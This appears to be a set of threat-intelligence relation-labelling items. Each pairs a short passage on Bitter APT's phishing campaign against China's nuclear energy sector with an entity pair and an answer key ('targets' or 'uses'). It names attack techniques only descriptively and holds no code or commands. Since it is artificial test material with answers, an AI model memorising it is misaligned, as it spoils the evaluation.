You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
### Target Entity: Pakistan
### Possible Relationship Labels:
['targets', 'located-at', 'is not related to', 'not sure']
### Text Passage:
Phishing Campaign Targets Chinese Nuclear Energy Industry
Intezer has been tracking activity targeting the energy sector and noted a campaign with techniques that align with those of Bitter APT operating in the Asia-Pacific region.
We have made the connection to Bitter APT through tactics, techniques, and procedures (TTPs) that have been observed in other publications, such as the use of Microsoft Office exploits through Excel files, and the use of CHM and Windows Installer (MSI) files. Bitter APT is a South Asian threat group that commonly targets energy and government sectors; they have been known to target Pakistan, China, Bangladesh, and Saudi Arabia.
Bitter APT are continuing to target organizations in China in an espionage campaign, as our here research shows. For some of the payloads we have corresponding phishing emails that were used as lures to deliver the files, allowing analysis of the social engineering techniques used. **We have noted updates to the first-stage payloads used, with new layers of obfuscation to hinder analysis and additional decoys used for social engineering.**
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
### Target Entity: China
### Possible Relationship Labels:
['targets', 'located-at', 'is not related to', 'not sure']
### Text Passage:
Phishing Campaign Targets Chinese Nuclear Energy Industry
Intezer has been tracking activity targeting the energy sector and noted a campaign with techniques that align with those of Bitter APT operating in the Asia-Pacific region.
We have made the connection to Bitter APT through tactics, techniques, and procedures (TTPs) that have been observed in other publications, such as the use of Microsoft Office exploits through Excel files, and the use of CHM and Windows Installer (MSI) files. Bitter APT is a South Asian threat group that commonly targets energy and government sectors; they have been known to target Pakistan, China, Bangladesh, and Saudi Arabia.
Bitter APT are continuing to target organizations in China in an espionage campaign, as our here research shows. For some of the payloads we have corresponding phishing emails that were used as lures to deliver the files, allowing analysis of the social engineering techniques used. **We have noted updates to the first-stage payloads used, with new layers of obfuscation to hinder analysis and additional decoys used for social engineering.**
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
### Target Entity: Bangladesh
### Possible Relationship Labels:
['targets', 'located-at', 'is not related to', 'not sure']
### Text Passage:
Phishing Campaign Targets Chinese Nuclear Energy Industry
Intezer has been tracking activity targeting the energy sector and noted a campaign with techniques that align with those of Bitter APT operating in the Asia-Pacific region.
We have made the connection to Bitter APT through tactics, techniques, and procedures (TTPs) that have been observed in other publications, such as the use of Microsoft Office exploits through Excel files, and the use of CHM and Windows Installer (MSI) files. Bitter APT is a South Asian threat group that commonly targets energy and government sectors; they have been known to target Pakistan, China, Bangladesh, and Saudi Arabia.
Bitter APT are continuing to target organizations in China in an espionage campaign, as our here research shows. For some of the payloads we have corresponding phishing emails that were used as lures to deliver the files, allowing analysis of the social engineering techniques used. **We have noted updates to the first-stage payloads used, with new layers of obfuscation to hinder analysis and additional decoys used for social engineering.**
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
### Target Entity: Saudi Arabia
### Possible Relationship Labels:
['targets', 'located-at', 'is not related to', 'not sure']
### Text Passage:
Phishing Campaign Targets Chinese Nuclear Energy Industry
Intezer has been tracking activity targeting the energy sector and noted a campaign with techniques that align with those of Bitter APT operating in the Asia-Pacific region.
We have made the connection to Bitter APT through tactics, techniques, and procedures (TTPs) that have been observed in other publications, such as the use of Microsoft Office exploits through Excel files, and the use of CHM and Windows Installer (MSI) files. Bitter APT is a South Asian threat group that commonly targets energy and government sectors; they have been known to target Pakistan, China, Bangladesh, and Saudi Arabia.
Bitter APT are continuing to target organizations in China in an espionage campaign, as our here research shows. For some of the payloads we have corresponding phishing emails that were used as lures to deliver the files, allowing analysis of the social engineering techniques used. **We have noted updates to the first-stage payloads used, with new layers of obfuscation to hinder analysis and additional decoys used for social engineering.**
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
### Target Entity: Excel
### Possible Relationship Labels:
['uses', 'is not related to', 'not sure']
### Text Passage:
Phishing Campaign Targets Chinese Nuclear Energy Industry
Intezer has been tracking activity targeting the energy sector and noted a campaign with techniques that align with those of Bitter APT operating in the Asia-Pacific region.
We have made the connection to Bitter APT through tactics, techniques, and procedures (TTPs) that have been observed in other publications, such as the use of Microsoft Office exploits through Excel files, and the use of CHM and Windows Installer (MSI) files. Bitter APT is a South Asian threat group that commonly targets energy and government sectors; they have been known to target Pakistan, China, Bangladesh, and Saudi Arabia.
Bitter APT are continuing to target organizations in China in an espionage campaign, as our here research shows. For some of the payloads we have corresponding phishing emails that were used as lures to deliver the files, allowing analysis of the social engineering techniques used. **We have noted updates to the first-stage payloads used, with new layers of obfuscation to hinder analysis and additional decoys used for social engineering.**
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
### Target Entity: Microsoft Office
### Possible Relationship Labels:
['uses', 'is not related to', 'not sure']
### Text Passage:
Phishing Campaign Targets Chinese Nuclear Energy Industry
Intezer has been tracking activity targeting the energy sector and noted a campaign with techniques that align with those of Bitter APT operating in the Asia-Pacific region.
We have made the connection to Bitter APT through tactics, techniques, and procedures (TTPs) that have been observed in other publications, such as the use of Microsoft Office exploits through Excel files, and the use of CHM and Windows Installer (MSI) files. Bitter APT is a South Asian threat group that commonly targets energy and government sectors; they have been known to target Pakistan, China, Bangladesh, and Saudi Arabia.
Bitter APT are continuing to target organizations in China in an espionage campaign, as our here research shows. For some of the payloads we have corresponding phishing emails that were used as lures to deliver the files, allowing analysis of the social engineering techniques used. **We have noted updates to the first-stage payloads used, with new layers of obfuscation to hinder analysis and additional decoys used for social engineering.**
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
### Target Entity: Windows Installer
### Possible Relationship Labels:
['uses', 'is not related to', 'not sure']
### Text Passage:
Phishing Campaign Targets Chinese Nuclear Energy Industry
Intezer has been tracking activity targeting the energy sector and noted a campaign with techniques that align with those of Bitter APT operating in the Asia-Pacific region.
We have made the connection to Bitter APT through tactics, techniques, and procedures (TTPs) that have been observed in other publications, such as the use of Microsoft Office exploits through Excel files, and the use of CHM and Windows Installer (MSI) files. Bitter APT is a South Asian threat group that commonly targets energy and government sectors; they have been known to target Pakistan, China, Bangladesh, and Saudi Arabia.
Bitter APT are continuing to target organizations in China in an espionage campaign, as our here research shows. For some of the payloads we have corresponding phishing emails that were used as lures to deliver the files, allowing analysis of the social engineering techniques used. **We have noted updates to the first-stage payloads used, with new layers of obfuscation to hinder analysis and additional decoys used for social engineering.**
|
<label>uses</label>
|
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